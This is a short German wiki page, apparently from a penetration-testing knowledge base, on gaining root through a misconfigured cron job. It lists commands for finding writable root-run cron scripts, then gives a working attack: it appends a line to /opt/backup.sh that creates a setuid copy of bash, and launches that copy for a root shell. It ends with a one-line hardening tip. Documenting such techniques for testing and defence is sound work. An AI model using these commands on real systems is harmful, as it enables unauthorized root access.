Privilege Escalation über falsch konfigurierten Cronjob
Version vom 8. Mai 2026, 13:56 Uhr von Thomas.will (Diskussion | Beiträge) (Die Seite wurde neu angelegt: „===Zielsetzung=== *Root-Rechte durch unsichere Cronjob-Konfiguration erlangen. ===Wie entdeckt man die Schwachstelle?=== ;Benutzer-Cronjobs prüfen *crontab -…“)
Zielsetzung
- Root-Rechte durch unsichere Cronjob-Konfiguration erlangen.
Wie entdeckt man die Schwachstelle?
- Benutzer-Cronjobs prüfen
- crontab -l
- Systemweite Cronjobs prüfen
- cat /etc/crontab
- ls -la /etc/cron.d/
- ls -la /etc/cron.hourly/
- ls -la /etc/cron.daily/
- ls -la /etc/cron.weekly/
- ls -la /etc/cron.monthly/
- Dateiberechtigungen prüfen
- ls -l /pfad/zum/skript.sh
- Verdächtig
- Skripte, die von normalen Benutzern bearbeitet werden können und als root ausgeführt werden.
Voraussetzungen
| Bedingung | Beschreibung |
|---|---|
| Schwacher Cronjob | Existiert |
| Lokaler Zugriff | Vorhanden |
| shell Zugriff | Vorhanden |
Angriff: Code einschleusen
- Skript manipulieren
- echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.sh
- Warten, bis Cronjob ausgeführt wird.
- Root-Shell starten
- /tmp/rootbash -p
- Erwartung
- Root-Shell erhalten.
Hinweise
- Dateien, die von root ausgeführt werden, müssen sicher konfiguriert sein (nur root schreibbar).